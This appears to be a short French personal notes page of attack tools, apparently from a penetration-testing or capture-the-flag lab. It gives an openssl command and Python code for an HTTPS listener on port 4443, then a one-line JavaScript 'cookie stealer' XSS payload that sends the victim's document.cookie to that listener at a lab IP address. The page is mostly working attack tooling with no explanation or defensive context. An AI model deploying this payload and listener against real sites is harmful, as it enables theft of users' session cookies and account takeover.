Tools

Serveur python https

openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes

from http import server
import ssl

# Créer un contexte SSL par défaut
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.load_cert_chain(certfile='./server.pem')

# Créer le serveur HTTP
httpd = server.HTTPServer(('0.0.0.0', 4443), server.SimpleHTTPRequestHandler)

# Appliquer le contexte SSL au socket
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)

# Lancer le serveur
httpd.serve_forever()

cookie stealer :

window.location = "https://10.10.14.144:4443/cookiestealer?c=" + document.cookie;